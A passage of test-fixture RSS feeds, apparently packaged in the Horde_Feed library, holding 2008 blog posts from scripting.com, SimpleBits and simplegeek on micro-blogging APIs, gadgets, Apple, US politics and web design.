height="116" border="0" align="right" hspace="15" vspace="5" alt="A picture named sammy.gif">Highly recommend this <a href="http://blog.broadbandmechanics.com/2008/07/so-wheres-the-identica-of-gnip">post</a> by Marc Canter, it's filled with ideas. Much the same as my thinking. I have a post planned for tomorrow or Sunday that should blow out some assumptions about identity and federating these micro-blogging services. Low-tech, worse is better, re-use what's already out there, as Marc says it's all happening now, and I'm loving the way it's turning out.<br><br> Sat, 19 Jul 2008 05:06:18 GMT Twitter connects to Gnip http://www.scripting.com/stories/2008/07/18/twitterConnectsToGnip.html http://www.scripting.com/stories/2008/07/18/twitterConnectsToGnip.html http://www.scripting.com/stories/2008/07/18/twitterConnectsToGnip.html#disqus_thread <img src="http://images.scripting.com/archiveScriptingCom/2008/07/18/sailboat.gif" width="125" height="210" border="0" align="right" hspace="15" vspace="5" alt="A picture named sailboat.gif">More movement in micro-blogging!<br><br> <a href="http://www.scripting.com/stories/2008/07/01/iWishTwitterWouldPartnerWi.html">Recall</a> that Gnip is a ping syndicator, sort of weblogs.com on steroids. Not the simplest of APIs, but apparently quite powerful. I tried to get some code running with it, but hit a hard wall that I couldn't get past. No matter, others are successfully adapting to Gnip.<br><br> I just read this announcement on Twitter from Eric Marcoullier pointing to a <a href="http://www.techcrunch.com/2008/07/18/twitter-plays-nice-xmpp-firehose-data-feed-to-gnip/">TechCrunch piece</a>. Eric says: "It's official: Twitter is pushing to Gnip and Gnip is pushing it the fuck out to everyone!" But this is kind of contradicted in the TC piece, which says you can only get updates from users you specify. You can't connect up on the same (firehose) basis that Summize was connecting before they were acquired by Twitter (earlier this week).<br><br> Like I said: So much movement. (There's more coming.)<br><br> One thing's for sure is that being open to developers is very much a competitive issue. This is why two-party systems work in technology and one-party systems stagnate. Why, when Netscape dominated browsers nothing moved, and it was fun while Microsoft and Netscape were competing, and why we returned to stagnation when Netscape folded, and why it's once again interesting now that Firefox is flourishing. Same thing in the competition betw Twitter and identi.ca.<br><br> When I talked with Evan Prodromou yesterday he said they would open up their XMPP back-end to anyone and everyone without limits. Now it's up to them to make good on that, and this shoudl give Twitter the incentive to go all the way with Gnip. BTW, Gnip should be agnostic, they should work with identi.ca as well as with Twitter.<br><br> Fri, 18 Jul 2008 18:16:57 GMT Identi.ca implements the Twitter API http://www.scripting.com/stories/2008/07/18/identicaImplementsTheTwitt.html http://www.scripting.com/stories/2008/07/18/identicaImplementsTheTwitt.html http://www.scripting.com/stories/2008/07/18/identicaImplementsTheTwitt.html#disqus_thread Recall that identi.ca is an open source Twitter-like "micro blogging" service. When it <a href="http://www.scripting.com/stories/2008/07/02/ohHappyDay.html">appeared</a>, earlier this month, I wrote: "First thing --> looking for an API." I wanted to see an implementation of the <a href="http://groups.google.com/group/twitter-development-talk/web/api-documentation">Twitter API</a>, so that all the code that I had written for Twitter would automatically work with identi.ca. <br><br> <a href="http://www.scripting.com/stories/2008/06/06/planB.html"><img src="http://images.scripting.com/archiveScriptingCom/2008/07/18/sawyer.gif" width="125" height="179" border="0" align="right" hspace="15" vspace="5" alt="A picture named sawyer.gif"></a>Being compatible with Twitter is the developer-friendly thing to do, it means we will only have one code base to maintain. It's good for users, because they have choice, they can use either Twitter or identi.ca, and not have to make a choice on tools. It's good for identi.ca because they instantly get a base of apps that work with their service. I'd argue that it's even good for Twitter, because it helps to solidify a standard with them as the market leader. The second guy into a market sets the standard, by ratifying the API designed and deployed by the first to market, who is in this case, obviously, Twitter. Had identi.ca blazed their own trail and made an API that did what Twitter's did, but was gratuitously incompatible, everyone would have suffered. Too often in the tech business, this is what happens, even though it's such a disrespectful and non-optimal thing to do.<br><br> Yesterday I got an email from Evan Prodromou at identi.ca saying that they had implemented the Twitter API; he asked if I would test my apps against their implementation. I did, and I'm happy to report that I was able to run all my code, unmodified, except for substituting <i>identi.ca/api</i> where ever <i>twitter.com</i> appears in an address. That's what I call compatible! It all "just worked" (so far, knock wood, I am not a lawyer, Murphy-willing, etc).<br><br> So we can check a very important item off identi.ca's to-do list. Next items: 1. Allow any developer to hook into the full flow of identi.ca through XMPP, and 2. Demonstrate interop across a federation of identi.ca deployments. <br><br> See also: <a href="http://laconi.ca/Main/Twitter-compatibleAPI">The docs</a> for the "Twitter-compatible API."<br><br> See also: <a href="http://www.scripting.com/stories/2008/07/07/howToThinkAboutIdentica.html">How to think about identi.ca</a>, <a href="http://www.scripting.com/stories/2008/06/06/planB.html">Plan B</a>.<br><br> Fri, 18 Jul 2008 13:56:36 GMT Checking out the Asus http://www.scripting.com/stories/2008/07/17/checkingOutTheAsus.html http://www.scripting.com/stories/2008/07/17/checkingOutTheAsus.html http://www.scripting.com/stories/2008/07/17/checkingOutTheAsus.html#disqus_thread Here are the <a href="http://flickr.com/photos/scriptingnews/sets/72157606227830081/">photos</a> from the unboxing of my <a href="http://www.amazon.com/Display-Intel-Processor-Solid-Battery/dp/B001BYD178/ref=pd_bbs_sr_2?ie=UTF8&s=electronics&qid=1216330456&sr=8-2">new Asus</a>.<br><br> <a href="http://flickr.com/photos/scriptingnews/sets/72157606227830081/"><img src="http://images.scripting.com/archiveScriptingCom/2008/07/17/asus.jpg" width="180" height="240" border="0" alt="A picture named asus.jpg"></a><br><br> I like it -- it's fun getting a new tech toy.<br><br> Most irritating thing about it is the way the trackpad works. Hesitating while positioning the cursor is interpreted as a click. This has already resulted in wrong information being transmitted to Netflix, the default name being given to the computer (something really convoluted). I have to figure out how to turn this off or it's going to screw with my using all the other computers I use.<br><br> <a href="http://friendfeed.com/e/04675b7d-6ea6-3167-67fe-997c7a9a70de/Checking-out-the-Asus/">On FriendFeed</a>, Kevin Tofel suggested looking for a Trackpad control panel. I did, but...<br><br> 1. There is no Trackpad control panel, and no Trackpad settings in the Mouse CP. 2. There is a feature called ClickLock, which appears to be the cause of this horrible feature. 3. However it was not checked by default. 4. I checked it and chose Settings and set the delay to the longest possible value. 5. Seems to have fixed the problem. 6. As usual in Windows, you have to lie to make it work properly.<br><br> Thu, 17 Jul 2008 21:32:01 GMT Apple's walled garden http://www.scripting.com/stories/2008/07/16/applesWalledGarden.html http://www.scripting.com/stories/2008/07/16/applesWalledGarden.html http://www.scripting.com/stories/2008/07/16/applesWalledGarden.html#disqus_thread Nik over at TechCrunch <a href="http://www.techcrunchit.com/2008/07/15/the-new-apple-walled-garden/">wrote a post</a> yesterday where he wondered why people who love open systems and open source are willing to wait in line for an iPhone 3G which is one of the most closed systems ever. And why they're willing to use software from the Apple store, a store you can't get into if Apple doesn't want you there. These are good questions.<br><br> So far I have no interest in iPhone apps, and I haven't bought an iPhone 3G, though I have upgraded to iPhone 2.0. I never unbricked my phone, and I still think of iPhone apps as web apps, just like Steve told me to in the early days when I wanted an API and an SDK. I got in the habit of thinking of it as a phone and nothing more.<br><br> <img src="http://images.scripting.com/archiveScriptingCom/2008/07/16/cc.gif" width="125" height="124" border="0" align="right" hspace="1" vspace="1" alt="A picture named cc.gif">My iPhone's camera is broken. The iPod never worked (I hate earbuds and none of my headphones fit their non-standard jack and buying an adapter would be ridiculous for me, I'd have to buy 5 cause I lose little chotchkas like those adapters.) It played videos for the first few weeks, then no matter what I did iTunes refused to copy videos on to the phone. Paying the price for Apple's paranoia that says the only way to move stuff back and forth to the iPhone is through their software. I could write my own scripts, and would be happy to. The damned thing should just look like a disk drive when you plug it into a Mac. (I know I know there are ways to trick it into being that, but I have no patience.)<br><br> The address book still works, and the phone, and that's about all that I care about. I carry a huge PowerMac with me when I travel, but I'd <a href="http://www.amazon.com/Display-Intel-Processor-Solid-Battery/dp/B001BYD178/ref=sr_1_3?ie=UTF8&s=electronics&qid=1216218064&sr=1-3">consider</a> replacing it. Developers tell me that soon, in an upcoming software update the <a href="http://www.scripting.com/stories/2007/09/20/howToSponsorAnOpenSourcePr.html">OPML Editor</a>, which I depend on for all my work, will break unless we get cracking on it. That's so Apple. As a developer you have to keep spending money just to stay in place. <br><br> Somehow for some reason buying into the Apple culture has been something I've resisted, where some people embrace. I won't wait in a line, or oooh and ahhh at a Stevenote. I just don't like the smarmy marketing attitude of Apple, he's kind of like the teacher's pet in music class, pretending that he's a connoisseur -- I see flaws and bugs everywhere. Fix the bugs and <a href="http://www.youtube.com/watch?v=VDSB2dN3bJg">STFU</a> about how great the product is. Sorry. I want to use Apple's products the same way I use a <a href="http://www.amazon.com/Canon-PowerShot-SD1100IS-Digital-Stabilized/dp/B0011ZK6PC/ref=sr_1_1?ie=UTF8&s=electronics&qid=1216218390&sr=1-1">Canon camera</a>, as a product I respect, but if they ever start screwing around the way Apple does, I'd switch to a Nikon or whatever. Problem is there is no Nikon or whatever in PCs and iPods. All the other products suck. Hugely. Apple's just suck a bit less. Not a huge accomplishment for an industry, imho.<br><br> Anyway, over the years I've got to watch platforms that work and ones that don't. The ones that work usually only work for a short while, then something happens that screws it up. <br><br> In order for a platform to work, the owner of the platform has to be a provider; the developers compete to create wonders for the platform. After all these years the <a href="http://www.scripting.com/davenet/1994/10/29/platformischinesehousehold.html">platform as Chinese household</a> model still seems the right one to me. Developers make babies. The husband (the vendor) provides the house, food, and pays the utility bills. In Steve Jobs's Apple, it's all screwy. The vendor makes the babies and the developers make little cupcakes they can sell to people who come to admire the babies. A lot of people love the babies, so in theory it's possible to make good money selling cupcakes.<br><br> But starting and running a cupcake stand isn't really what gets most developers up in the morning. <br><br> All I can say is that Nik is right, it's ridiculous, and people who believe in open systems who bet heavy on such a closed system are going to learn again why they love open systems.<br><br> BTW, this is why I have a blog, so I can write pieces like this. I'm not running for office. Don't vote for me! <img src="http://www.scripting.com/gifs/QBullets/qbullets/sidesmiley.gif" width="11" height="11" border="0" alt="smile"><br><br> Wed, 16 Jul 2008 13:31:51 GMT I got this at SnagFilms http://www.scripting.com/stories/2008/07/16/iGotThisAtSnagfilms.html http://www.scripting.com/stories/2008/07/16/iGotThisAtSnagfilms.html http://www.scripting.com/stories/2008/07/16/iGotThisAtSnagfilms.html#disqus_thread <object type="application/x-shockwave-flash" data="http://widgets.clearspring.com/o/4837b4759c19ccae/487ed96d2dbca441/487d71047a5fbc00/7faf03df" id="W4837b4759c19ccae487ed96d2dbca441" height="250" width="300"><param value="http://widgets.clearspring.com/o/4837b4759c19ccae/487ed96d2dbca441/487d71047a5fbc00/7faf03df" name="movie"/><param value="transparent" name="wmode"/><param value="all" name="allowNetworking"/><param value="always" name="allowScriptAccess"/></object><br><br> Thu, 17 Jul 2008 05:32:17 GMT A new JibJab! http://www.scripting.com/stories/2008/07/15/aNewJibjab.html http://www.scripting.com/stories/2008/07/15/aNewJibjab.html http://www.scripting.com/stories/2008/07/15/aNewJibjab.html#disqus_thread <div style='background-color:#e9e9e9; width: 425px;'><object id='A304328' quality='high' data='http://aka.zero.jibjab.com/client/zero/ClientZero_EmbedViewer.swf?external_make_id=6bRCmPnkhFj2MwPo&service=sendables.jibjab.com' pluginspage='http://www.macromedia.com/go/getflashplayer' type='application/x-shockwave-flash' wmode='transparent' height='319' width='425'><param name='wmode' value='transparent'></param><param name='movie' value='http://aka.zero.jibjab.com/client/zero/ClientZero_EmbedViewer.swf?external_make_id=6bRCmPnkhFj2MwPo&service=sendables.jibjab.com'></param><param name='scaleMode' value='showAll'></param><param name='quality' value='high'></param><param name='allowNetworking' value='all'></param><param name='allowFullScreen' value='true' /><param name='FlashVars' value='external_make_id=6bRCmPnkhFj2MwPo&service=sendables.jibjab.com'></param><param name='allowScriptAccess' value='always'></param></object><div style='text-align:center; width:435px; margin-top:6px;'>Send a JibJab Sendables&reg; <a href='http://sendables.jibjab.com/sendables'>eCard</a> Today!</div></div><img style="visibility:hidden;width:0px;height:0px;" border=0 width=0 height=0 src="http://counters.gigya.com/wildfire/CIMP/bT*xJmx*PTEyMTYxODQzNzYxOTYmcHQ9MTIxNjE4NDM4MTYxMyZwPTE5MTEzMSZkPSZuPSZnPTI=.jpg" /><br><br> Wed, 16 Jul 2008 05:00:01 GMT Yeah of course it's about the oil and that's all it's about http://www.scripting.com/stories/2008/07/15/yeahOfCourseItsAboutTheOil.html http://www.scripting.com/stories/2008/07/15/yeahOfCourseItsAboutTheOil.html http://www.scripting.com/stories/2008/07/15/yeahOfCourseItsAboutTheOil.html#disqus_thread <img src="http://images.scripting.com/archiveScriptingCom/2008/07/15/centurion.jpg" width="125" height="356" border="0" align="right" hspace="15" vspace="5" alt="A picture named centurion.jpg">Watching Obama give his <a href="http://www.nytimes.com/2008/07/15/us/politics/15text-obama.html?_r=1&oref=slogin">big Iraq speech</a> today, I told myself a joke that got me laughing so hard, I couldn't stop. Maybe you'll enjoy it too.<br><br> Imagine Obama looking into the camera saying "Fuck it, we all know why Bush and McCain want to stay in Iraq. All this talk about waiting for this or that to happen -- it's all bullshit, they know it, I know it, the press knows it, and if you think about it you know it too."<br><br> We're not going to leave Iraq because if we did, it would become a province of Iran. It's pretty close to being that now, even with 150K American troops camped out in bases spread through the country. The President, Maliki, is Iranian (for all practical purposes). Al Sadr is Iranian. The only guys who aren't Iranians are the remnants of Saddam's government and the guys we call evildoers who call themselves Al Qaeda. They're all equally evil, and we're no better. We fucked that country, hard, killed huge numbers of Iraqis, wrecked the country. The Arab world will be cursing us for a long time for what we did to Iraq, and we'll deserve it.<br><br> If we pull out, Iraq and Iran will merge, combine the countries with the 2nd and 3rd largest oil reserves, and a huge army, run by people who are serious and they're not the idiots the Republicans keep portraying them as. They're astute politicians, much more sophisticated than Bush or McCain. In the game of chess they're playing with the US, a country that's many times its size, they're pretty close to taking our queen.<br><br> The American president who leaves Iraq is going to be blamed for the oil debacle that's coming (even so, it'll be unrelated to Iran taking over Iraq). $4.50 a gallon is nothing. It's going to get a <i>lot</i> worse. Everyone knows it, that's why the stock market is tanking, why there are runs on the banks, why the govt is furiously printing money to shore them up, which only feeds more inflation. <br><br> The lines at banks with people waiting to draw out all their money aren't being shown on TV, cause if everyone knew what was going on the panic would likely turn into a 1929-like collapse. <br><br> Outside the US no one wants to call us on our bullshit because we have this huge army, navy, air force, with aircraft carriers, bases all over the world, and an unbelievably huge stockpile of nuclear weapons. If we get scared enough we might just use em. That's the only reason the Saudis are willing to still meet with Cheney, and why they keep sending us oil which we pay for with dollars that they all know are a joke.<br><br> Obama knows this. He can't leave Iraq and he won't. Of course McCain won't either. He was actually telling the truth when he said we'd be there for 100 years. We will, if we can. Obama can't and won't change that.<br><br> If Obama really meant to leave Iraq, he would have looked into the camera today and said: "Look, it's all about the oil, it has nothing to do with terrorism." Of course if he said that he wouldn't even get the Democratic nomination and his political career would be over. Telling the truth about the terrible strategic position the US finds itself in is not a good idea. Get the votes some other way.<br><br> We're going to need a new infrastructure, lots more mass transit, all our cars are obsolete. It's expensive, and we have some unique problems. It's a huge country. Getting from one coast to the other isn't ever going to be cheap again. Is our military mighty enough to get the rest of the world to give us enough credit to make the transition? Is our population resilient enough to put up with the hardship that's coming without demanding more wars to take oil by force from the Indians, Chinese, Brazilians, Russians? (And come on, some of them have big armies too and nukes.)<br><br> See, that's the joke. We all know it's about the oil, we want the oil, we're taking it by force and we know it, no one wants to say it, and <i>no one is complaining. </i><br><br> BTW, this is why I have a blog, so I can write pieces like this. I'm not running for office. Don't vote for me! <img src="http://www.scripting.com/gifs/QBullets/qbullets/sidesmiley.gif" width="11" height="11" border="0" alt="smile"><br><br> Wed, 16 Jul 2008 03:53:04 GMT Instant history http://www.scripting.com/stories/2008/07/13/instantHistory.html http://www.scripting.com/stories/2008/07/13/instantHistory.html http://www.scripting.com/stories/2008/07/13/instantHistory.html#disqus_thread <a href="http://www.flickr.com/photos/scriptingnews/2666666564/"><img src="http://images.scripting.com/archiveScriptingCom/2008/07/13/nyer.gif" width="275" height="401" border="0" alt="A picture named nyer.gif"></a><br><br> The campaign was getting pretty dull until this New Yorker cover appeared. <br><br> At once funny, provocative and inspiring, it captures the personalities of the two Obamas, and how the Republicans would probably like us to think of them. <br><br> I don't think there's any doubt that this cartoon cover is one of the icons of our times. That's how powerful art can be. <br><br> <a href="http://www.flickr.com/photos/scriptingnews/2666666564/sizes/l/">Larger scan</a> of the cover, and the <a href="http://www.newyorker.com/reporting/2008/07/21/080721fa_fact_lizza?printable=true">Ryan Lizza article</a> behind it.<br><br> Mon, 14 Jul 2008 03:18:46 GMT Foreclosures in your neighborhood? http://www.scripting.com/stories/2008/07/13/foreclosuresInYourNeighbor.html http://www.scripting.com/stories/2008/07/13/foreclosuresInYourNeighbor.html http://www.scripting.com/stories/2008/07/13/foreclosuresInYourNeighbor.html#disqus_thread Next week the financial crisis in the US reaches a new level with a major bank <a href="http://news.google.com/news?q=indymac%20failure">failure</a> and two others being <a href="http://business.timesonline.co.uk/tol/business/industry_sectors/banking_and_finance/article4322440.ece">bailed out</a>. <br><br> <img src="http://images.scripting.com/archiveScriptingCom/2008/07/13/forsale.gif" width="125" height="92" border="0" align="right" hspace="15" vspace="5" alt="A picture named forsale.gif">There's lots of macro news, but what about your neighborhood? Are people losing their homes? Many For Sale signs? If so, are they selling? How do you feel about your investment in your home, in your town? We don't talk much about this in the tech blogosophere, life here pretty much goes on as it always has, but I'm wondering if underneath that, there's lots that's changing. <br><br> As far as my neighborhood, North Berkeley, goes -- I bought my house at the absolute peak of the market. According to zillow.com my house has dropped 10 percent in 2 years. A pretty terrible investment from that point of view (I love the house and the neighborhood, so I'm happy). Even though property values are dropping fast, there aren't many For Sale signs, and when they appear, they sell quickly. There don't appear to be any foreclosures, all houses are being maintained as far as I can see. So the crisis hasn't hit the East Bay yet, even though I <a href="http://news.google.com/news?q=california%20foreclosure">hear</a> other parts of California are being hit hard.<br><br> Update #1: Follow the <a href="http://friendfeed.com/e/f5465435-1193-d416-9713-1208b12c98c0/New-blog-post-Foreclosures-in-your-neighborhood/">discussion</a> on FF.<br><br> Update #2: <a href="http://blownmortgage.com/">This blog</a> is focusing on the mortgage meltdown.<br><br> Sun, 13 Jul 2008 14:40:30 GMT A demo of something that's not crowd sourcing http://www.scripting.com/stories/2008/07/13/aDemoOfSomethingThatsNotCr.html http://www.scripting.com/stories/2008/07/13/aDemoOfSomethingThatsNotCr.html http://www.scripting.com/stories/2008/07/13/aDemoOfSomethingThatsNotCr.html#disqus_thread To Jay Rosen, here's an <a href="http://www.flickr.com/photos/scriptingnews/2656379618/">example</a> of two people collaborating to make an interesting story that neither of us would likely make on our own. Notice that nothing like "crowd sourcing" is taking place.<br><br> When I was flying back from NY last Wednesday, the plane was equipped with a live Google Maps display so I could see in advance that our path was likely to take us over Denver, so I prepared, and took several pictures as we passed over the south side of the city. When I got home I uploaded one of the pics to Flickr along with several others.<br><br> <a href="http://www.flickr.com/photos/scriptingnews/2656379618/"><img src="http://images.scripting.com/archiveScriptingCom/2008/07/13/denver.jpg" width="250" height="188" border="0" alt="A picture named denver.jpg"></a><br><br> Then, unexpectedly, yesterday, a person named Paul Wicks added an interesting caption to my picture in a comment. I learned a lot about what I had flown over.<br><br> See, we're not acting as a crowd -- we're acting as two curious strangers from (presumably) fairly diverse backgrounds (I have no way of knowing) whose paths crossed and were able to make an intellectual exchange thanks to a collaborative service. No one made any money off it, but something good happened anyway.<br><br> For another example, see my piece earlier today asking people for their experiences with foreclosures locally. When it's "done" if it ever is, I'd say it'll be as good as any story written for a national newspaper on how the foreclosure crisis is hitting the average American. In one way it's better -- no one edited the sources' words, we're getting it straight, no "telephone game" errors introduced (which is why sources say they never are quoted accurately in the press, something reporters always deny, funny how that is).<br><br> Update: A <a href="http://mp3.morningcoffeenotes.com/cn08jul13.mp3">podcast</a> to go with this post.<br><br> Sun, 13 Jul 2008 16:23:42 GMT Obama's FISA screwup http://www.scripting.com/stories/2008/07/12/obamasFisaScrewup.html http://www.scripting.com/stories/2008/07/12/obamasFisaScrewup.html http://www.scripting.com/stories/2008/07/12/obamasFisaScrewup.html#disqus_thread <img src="http://images.scripting.com/archiveScriptingCom/2008/07/12/uma.gif" width="65" height="217" border="0" align="right" hspace="15" vspace="5" alt="A picture named uma.gif">First, the conservative pundits who say that Obama turned his back on the extreme left by voting for the new <a href="http://www.senate.gov/legislative/LIS/roll_call_lists/roll_call_vote_cfm.cfm?congress=110&session=2&vote=00168">FISA bill</a> have it wrong. He turned his back on people of all persuasions who believe in our form of government. <br><br> This was a fight he should have welcomed, one that could have provided substance to this election, instead of playing a superficial game of percentages and gotchas and gaffes, it could have rallied people, brought the revolutionary spirit onto the streets. <br><br> If you recall our country was <a href="http://en.wikipedia.org/wiki/American_Revolution">founded</a> in revolution. The problem is we don't recall. Some of us hoped (there's that word again) that Obama would lead us some place worth going. <br><br> He was right if he assumed he had our vote. I will not vote for McCain to prove this point. But I'm also not going to give him any more money. I'm going to save that for causes I believe in. <br><br> I no longer believe there is a cause to Obama other than getting Obama elected. It's up to him now to prove otherwise. The FISA vote can be undone, but he has to actually do the undoing.<br><br> Update: Follow the <a href="http://friendfeed.com/e/806c4899-ac6d-41d1-5470-fb5a88e30122/Obama-s-FISA-screwup/">discussion</a> on FF.<br><br> Sat, 12 Jul 2008 15:55:07 GMT Why I don't like 'crowd sourcing' http://www.scripting.com/stories/2008/07/11/whyIDontLikeCrowdSourcing.html http://www.scripting.com/stories/2008/07/11/whyIDontLikeCrowdSourcing.html http://www.scripting.com/stories/2008/07/11/whyIDontLikeCrowdSourcing.html#disqus_thread <a href="http://images.scripting.com/archiveScriptingCom/2008/07/11/crowd.jpg"><img src="http://images.scripting.com/archiveScriptingCom/2008/07/11/crowd.jpg" width="125" height="83" border="0" align="right" hspace="15" vspace="5" alt="A picture named crowd.jpg"></a>On Twitter, <a href="http://twitter.com/jayrosen_nyu/statuses/855905879">Jay Rosen asks</a> why I don't like the term crowdsourcing. (He says hate, but that's way way too harsh.) Anyway, he's right -- I don't like it -- because it betrays a not-useful point of view. I am not part of a crowd, I am an individual, I'm a <a href="http://www.scripting.com/stories/2008/07/10/goodAfternoonFromCaliforni.html">one man band</a> by the quick lunch stand, <a href="http://www.youtube.com/watch?v=HmzN1p5q2sY">playing</a> real good for free. When you mash us all together you miss the point. <br><br> I don't like it cause it's cheap, it's always used by people who want something for nothing. <br><br> Tell me Jay, how does your wife feel when you tell her she's part of the crowd you were thinking of marrying. <br><br> If you want people to like you, and who doesn't, try seduction. Don't tell us about your greed, say how much you love and respect our individuality our originality.<br><br> Bottom-line: I don't think of myself as part of a crowd when I write on the Internet. When you describe me that way I don't like it. <br><br> I don't like it for the same reason I never liked "The Long Tail." The person using the term is never in the long tail, he or she is the head! It's the rest of us that are in the tail. Well excuse me but I'm riding up front with you. Been locked in the trunk many times by Microsoft, Netscape and Apple. It sucks! <img src="http://www.scripting.com/gifs/QBullets/qbullets/sidesmiley.gif" width="11" height="11" border="0" alt="smile"><br><br> One more reason -- it's not useful because it doesn't actually model what's going on. In the 20th century everything was about mass markets and centralization. You could explain things with concepts like crowds. In this century we're going the other way. The technologies push us there in a positive way, because the cost of communication is so low it doesn't need to be financed by moguls the way printing presses and TV stations were. And in a negative way because while our desire for information is increasing, the ability of professionals to provide it is decreasing. So we have to fill the gaps ourselves.<br><br> Hope this helps.<br><br> PS: I didn't reply on Twitter cause 140 chars is way too limiting for an idea like this.<br><br> PPS: I have even more to say, the industry you cover keeps trying, even clutching desperately to an idea that we can go back to the world they grew up in. It's not going to happen, imho. Better to accept things as they are and try to figure out how to make the best of it, for all of us. My own industry got decimated by the forces at work in publishing, so I've been through it. I'm still here, knock wood. But no one gets to have it easy. And the individuals you want to turn back into a crowd won't go for it, also imho.<br><br> Fri, 11 Jul 2008 18:37:50 GMT Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.simplebits.com-xml-rss.xml0000664000175000017500000002617412653701626026701 0ustar janjan SimpleBits http://www.simplebits.com/ Hand-crafted web sites, pixels and text by Dan Cederholm. Dan Cederholm en-us Copyright 1999-2007, SimpleBits Sat, 19 Jul 2008 15:25:17 -0500 http://www.movabletype.org/?v=3.15 dan@simplebits.com Ryan Sims on a revived Justwatchthesky http://thebignoob.com/posts/music-words-color-type/ “An exercise in documenting words in the music I listen to with color and type. The constraints are simple: (1) Only use Georgia (serif) or Helvetica (sans) and (2) try to post as often as possible.”

      #]]>       1446@http://www.simplebits.com/ Sat, 19 Jul 2008 15:25:17 -0500       Welcome, Meagan Fisher http://www.simplebits.com/notebook/2008/07/09/meaganfisher.html On a brief break from diaper changes and time-outs, I have an important announcement. Several months ago, I put out a call for help. Today, I'm excited to announce the search is over!

      Meagan Fisher (talented designer, front-end coder and owl aficionado) will be joining us as a part-time assistant. Meagan has recently moved from sunny Florida to Salem, and will help SimpleBits become slightly less tiny than it's been for the past six years or so, beginning next month. I'm really excited about some of the new things this will allow us to work on.

      Some of her recent work includes a wonderful Rails Machine redesign (where she worked with Dan Benjamin, who I owe for putting us in touch) and Halogen Guides Greener. You can read more about her big move over at her blog.

      So, welcome aboard, Meagan -- and get ready to become a converted Red Sox, Patriots and Celtics fan (I'm omitting the Bruins since they have a bit of catching up to do).

      ]]>       1439@http://www.simplebits.com/ Wed, 09 Jul 2008 21:30:13 -0500       House Industries ampersand tees http://www.houseind.com/index.php?page=clothing&amp;category=studio_tees mousepads and cast metal sculptures. #]]> 1445@http://www.simplebits.com/ Tue, 08 Jul 2008 12:39:19 -0500 BusinessWeek on the Sphere redesign http://www.businessweek.com/innovate/content/jun2008/id20080623_131441.htm Sphere. Part of a larger Web Design Special Report published last week. #]]> 1444@http://www.simplebits.com/ Wed, 02 Jul 2008 10:05:25 -0500 Tenley Murphy Cederholm http://www.simplebits.com/notebook/2008/06/26/tenley.html Tenley

      Kerry and I welcomed the birth of our daughter yesterday. Tenley Murphy Cederholm was born June 25th at 1:22pm. Six pounds, eleven ounces of pure joy.

      Where our 2 1/2 year old son Jack came six weeks early, Tenley decided to do it her own way, arriving 3 days late. Everyone's doing wonderfully though, and Mom and baby will be coming home tomorrow.

      I'll be taking the next month off as much as possible as we adjust to newborn status once again. See you in a bit.

      ]]>       1443@http://www.simplebits.com/ Thu, 26 Jun 2008 12:54:02 -0500       Huge Job http://authenticjobs.com/jobs/2460/ redesign of IKEA (em-based layout, no less). They have an intense client list, and recently listed an open Web Architect position. Huge opportunity? #]]> 1442@http://www.simplebits.com/ Mon, 23 Jun 2008 10:47:05 -0500 This Ain’t No Disco http://www.aintnodisco.com/ TAND showcases the "inner sanctum" of some creatively-executed spaces. #]]> 1441@http://www.simplebits.com/ Fri, 20 Jun 2008 10:41:21 -0500 Ceramic Atari joystick candle holder http://mixko.co.uk/BTQ/TB_RJ.html #]]> 1440@http://www.simplebits.com/ Thu, 19 Jun 2008 13:52:28 -0500 Cork coffee cup sleeves http://www.coolcorc.com/store/cart.php?page=about_coolcorc #]]> 1438@http://www.simplebits.com/ Wed, 18 Jun 2008 15:35:55 -0500 S3Hub: S3 Client (for Mac OS X) http://s3hub.com/ #]]> 1437@http://www.simplebits.com/ Wed, 18 Jun 2008 10:18:11 -0500 1% for the Planet's new blog http://onepercentfortheplanet.org/blog/ #]]> 1436@http://www.simplebits.com/ Tue, 17 Jun 2008 16:08:07 -0500 Mark Simonson http://www.marksimonson.com/article/223/indiana-jones-and-the-fonts-on-the-maps “For the most part, the type usage in each of the [Indiana Jones] movies is correct for the period depicted. With one exception: The maps used in the travel montages.”

      #]]>       1435@http://www.simplebits.com/ Tue, 17 Jun 2008 09:09:39 -0500       Wordle http://wordle.net/gallery/Faux_Columns an old article I wrote way-back-when. #]]> 1434@http://www.simplebits.com/ Mon, 16 Jun 2008 15:32:49 -0500 twitter.com/simplebits http://www.simplebits.com/notebook/2008/06/16/tweet.html “There's a big difference between building YASN (Yet Another Social Network) and building a new application with social features.”

      ]]>       1433@http://www.simplebits.com/ Mon, 16 Jun 2008 10:52:33 -0500       Tipping Point http://www.simplebits.com/notebook/2008/06/12/tipping.html photo

      At one of my favorite local coffee shops, I've noticed they have a creative take on generating tips. I'm sure this is used elsewhere as well, but it's the first time I've come across it.

      There are two baskets by the register, with a rotating sign above that asks a question. Today it was: "Should Obama pick Hillary as Vice President?" Throw your tip in the appropriate basket, and we get an instant, visible poll as a byproduct of giving your barista a little extra change. Some questions generate a more noticeable swing in basket preference (sorry, Hillary), while others are just fun throwaways.

      A small reward for participation. I'm sure there's a parallel here with social web interaction, but I'll let Josh or someone else who's hot on this topic decipher it.

      ]]>       1432@http://www.simplebits.com/ Thu, 12 Jun 2008 11:21:53 -0500       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.simplegeek.com-blogxbrowsing.asmx-GetRss0000664000175000017500000006300012653701626031476 0ustar janjan simplegeek http://www.simplegeek.com Copyright 2003 Chris Anderson Wed, 04 Jun 2008 21:35:58 GMT ChrisAn's BlogX chris_l_anderson@hotmail.com chris_l_anderson@hotmail.com Extensibility http://www.simplegeek.com/permalink.aspx/4dacf359-7fe1-4b13-9df2-a5aef2eb5862 http://www.simplegeek.com/permalink.aspx/4dacf359-7fe1-4b13-9df2-a5aef2eb5862 Wed, 04 Jun 2008 21:35:58 GMT <body xmlns="http://www.w3.org/1999/xhtml"> <p> As <a href="http://www.pluralsight.com/blogs/dbox/archive/2008/06/04/51110.aspx">Don </a>said, the first CTP of the <a href="http://code.msdn.microsoft.com/mef">Managed Extensibility Framework</a> is available. We use this code a bunch on my team and are building lots of stuff on top of it. It's great. Simple extensibility. I hope that it only gets simpler as we get feedback from customers. </p> <p> Please, be sure to share with the team what they can cut to make it even simpler! :) </p> </body>

      As Don said, the first CTP of the Managed Extensibility Framework is available. We use this code a bunch on my team and are building lots of stuff on top of it. It's great. Simple extensibility. I hope that it only gets simpler as we get feedback from customers.

      Please, be sure to share with the team what they can cut to make it even simpler! :)

